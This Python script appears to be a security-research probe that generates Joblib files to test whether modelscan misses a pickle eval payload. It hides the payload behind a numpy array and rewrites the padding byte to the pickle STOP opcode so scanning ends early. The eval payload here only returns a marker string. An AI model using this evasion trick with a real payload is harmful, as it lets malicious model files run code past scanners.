#!/usr/bin/env python3
"""Generate benign Joblib artifacts for numpy padding traversal checks."""

from __future__ import annotations

import argparse
import io
import json
import os
import pathlib
import pickletools
import re
import shutil
import subprocess
from dataclasses import dataclass
from typing import Any

import joblib
import numpy as np


MARKER = "BENIGN_JOBLIB_MARKER"
PICKLE_STOP = 0x2E
JOBLIB_PADDING_BYTE = b"\xff"
PICKLE_PROTOCOL = 4


class BenignEval:
    """Benign unsafe-global marker: eval returns a constant string only."""

    def __reduce__(self) -> tuple[Any, tuple[str]]:
        return (eval, (repr(MARKER),))


@dataclass(frozen=True)
class PaddingPatch:
    offset: int
    original_length: int
    patched_length: int
    inserted_bytes: int
    array_data_offset_before: int
    array_data_offset_after: int


def dump_joblib_bytes(value: Any) -> bytes:
    buffer = io.BytesIO()
    joblib.dump(value, buffer, compress=0, protocol=PICKLE_PROTOCOL)
    return buffer.getvalue()


def find_first_numpy_padding(data: bytes) -> int:
    ops: list[tuple[int, str]] = []
    try:
        for opcode, _arg, pos in pickletools.genops(data):
            ops.append((pos, opcode.name))
    except ValueError as exc:
        match = re.search(r"position (\d+)", str(exc))
        if not match:
            raise RuntimeError(f"could not locate pickle parse stop: {exc}") from exc
        offset = int(match.group(1))
        if not ops or ops[-1][1] != "BUILD":
            raise RuntimeError(
                "pickle parsing did not stop immediately after a numpy wrapper BUILD"
            )
        if b"numpy_array_alignment_bytes" not in data[:offset]:
            raise RuntimeError("joblib numpy alignment metadata was not found")
        return offset

    raise RuntimeError("expected raw numpy array bytes to interrupt pickle parsing")


def patch_padding_to_stop(data: bytes) -> tuple[bytes, PaddingPatch]:
    offset = find_first_numpy_padding(data)
    original_length = data[offset]
    if not 1 <= original_length <= 64:
        raise RuntimeError(f"unexpected joblib padding length: {original_length}")
    if original_length >= PICKLE_STOP:
        raise RuntimeError(
            f"padding length {original_length} does not need a STOP-byte expansion"
        )

    inserted = PICKLE_STOP - original_length
    patched = (
        data[:offset]
        + bytes([PICKLE_STOP])
        + (JOBLIB_PADDING_BYTE * inserted)
        + data[offset + 1 :]
    )
    patch = PaddingPatch(
        offset=offset,
        original_length=original_length,
        patched_length=PICKLE_STOP,
        inserted_bytes=inserted,
        array_data_offset_before=offset + 1 + original_length,
        array_data_offset_after=offset + 1 + PICKLE_STOP,
    )
    return patched, patch


def write_bytes(path: pathlib.Path, data: bytes) -> None:
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_bytes(data)


def load_status(path: pathlib.Path) -> dict[str, Any]:
    try:
        value = joblib.load(path)
    except Exception as exc:
        return {
            "status": "error",
            "error": f"{type(exc).__name__}: {str(exc).splitlines()[0]}",
        }

    return {
        "status": "ok",
        "type": type(value).__name__,
        "repr": repr(value),
        "marker_found": contains_marker(value),
    }


def contains_marker(value: Any) -> bool:
    if isinstance(value, str):
        return value == MARKER
    if isinstance(value, np.ndarray):
        return False
    if isinstance(value, (bytes, bytearray, memoryview)):
        return False
    if value is None:
        return False
    if isinstance(value, (bool, int, float, complex)):
        return False
    if isinstance(value, dict):
        return any(contains_marker(item) for item in value.values())
    if isinstance(value, (list, tuple)):
        return any(contains_marker(item) for item in value)
    return False


def opcode_positions(data: bytes, opcode_name: str, start: int = 0) -> list[int]:
    positions: list[int] = []
    for opcode, _arg, pos in pickletools.genops(data[start:]):
        if opcode.name == opcode_name:
            positions.append(start + pos)
    return positions


def opcode_offsets(data: bytes) -> dict[str, int | None]:
    offsets: dict[str, int | None] = {
        "builtins_string": find_bytes(data, b"builtins"),
        "eval_string": find_bytes(data, b"eval"),
        "marker_string": find_bytes(data, MARKER.encode()),
        "final_stop_opcode": data.rfind(bytes([PICKLE_STOP])),
    }
    return offsets


def find_bytes(data: bytes, needle: bytes) -> int | None:
    offset = data.find(needle)
    return offset if offset >= 0 else None


def modelscan(path: pathlib.Path, command: pathlib.Path | None) -> dict[str, Any]:
    if command is None:
        return {"status": "skipped"}
    if not command.exists():
        return {"status": "missing", "command": str(command)}

    completed = subprocess.run(
        [
            str(command),
            "-p",
            str(path),
            "-r",
            "json",
            "--show-skipped",
        ],
        text=True,
        capture_output=True,
        env={**os.environ, "COLUMNS": "20000"},
        check=False,
    )
    stdout = completed.stdout.strip()
    json_start = stdout.find("{")
    parsed: dict[str, Any]
    if json_start >= 0:
        try:
            parsed = json.loads(stdout[json_start:])
        except json.JSONDecodeError:
            parsed = {"parse_error": stdout}
    else:
        parsed = {"parse_error": stdout}

    summary = parsed.get("summary") if isinstance(parsed, dict) else None
    return {
        "status": "ok" if "parse_error" not in parsed else "parse_error",
        "returncode": completed.returncode,
        "modelscan_version": summary.get("modelscan_version") if summary else None,
        "total_issues": summary.get("total_issues") if summary else None,
        "errors": parsed.get("errors") if isinstance(parsed, dict) else None,
    }


def summarize(
    case: str,
    path: pathlib.Path,
    modelscan_command: pathlib.Path | None,
    extra_offsets: dict[str, Any] | None = None,
) -> dict[str, Any]:
    data = path.read_bytes()
    offsets: dict[str, Any] = opcode_offsets(data)
    if extra_offsets:
        offsets.update(extra_offsets)
    return {
        "case": case,
        "path": str(path),
        "size": len(data),
        "joblib_load": load_status(path),
        "offsets": offsets,
        "modelscan": modelscan(path, modelscan_command),
    }


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "output_dir",
        nargs="?",
        type=pathlib.Path,
        default=pathlib.Path("corpus/joblib_numpy_padding_probe"),
    )
    parser.add_argument(
        "--modelscan-command",
        type=pathlib.Path,
        default=None,
    )
    parser.add_argument("--skip-modelscan", action="store_true")
    args = parser.parse_args()

    modelscan_command = None if args.skip_modelscan else resolve_modelscan_command(
        args.modelscan_command
    )

    control_path = args.output_dir / "control_direct.joblib"
    candidate_path = args.output_dir / "candidate_numpy_array_then_payload_patched.joblib"

    control_bytes = dump_joblib_bytes(BenignEval())
    write_bytes(control_path, control_bytes)

    array = np.array([PICKLE_STOP, 0, 1, 2, 3, 4, 5, 6], dtype=np.uint8)
    candidate_bytes = dump_joblib_bytes([array, BenignEval()])
    patched_candidate_bytes, patch = patch_padding_to_stop(candidate_bytes)
    write_bytes(candidate_path, patched_candidate_bytes)

    print(
        json.dumps(
            summarize(
                "control_direct",
                control_path,
                modelscan_command,
                {
                    "payload_reduce_opcode_offsets": opcode_positions(
                        control_bytes,
                        "REDUCE",
                    )
                },
            ),
            sort_keys=True,
        )
    )
    payload_frame_offset = patch.array_data_offset_after + array.nbytes
    print(
        json.dumps(
            summarize(
                "candidate_numpy_array_then_payload_patched",
                candidate_path,
                modelscan_command,
                {
                    "padding_length_offset": patch.offset,
                    "padding_original_length": patch.original_length,
                    "padding_patched_length": patch.patched_length,
                    "padding_inserted_bytes": patch.inserted_bytes,
                    "array_data_offset_before_patch": patch.array_data_offset_before,
                    "array_data_offset_after_patch": patch.array_data_offset_after,
                    "array_first_byte_after_patch": patched_candidate_bytes[
                        patch.array_data_offset_after
                    ],
                    "payload_frame_offset_after_patch": payload_frame_offset,
                    "payload_reduce_opcode_offsets_after_patch": opcode_positions(
                        patched_candidate_bytes,
                        "REDUCE",
                        payload_frame_offset,
                    ),
                },
            ),
            sort_keys=True,
        )
    )
    return 0


def resolve_modelscan_command(command: pathlib.Path | None) -> pathlib.Path | None:
    if command is not None:
        return command

    local_command = pathlib.Path(".venv-modelscan/bin/modelscan")
    if local_command.exists():
        return local_command

    path_command = shutil.which("modelscan")
    if path_command is not None:
        return pathlib.Path(path_command)

    return local_command


if __name__ == "__main__":
    raise SystemExit(main())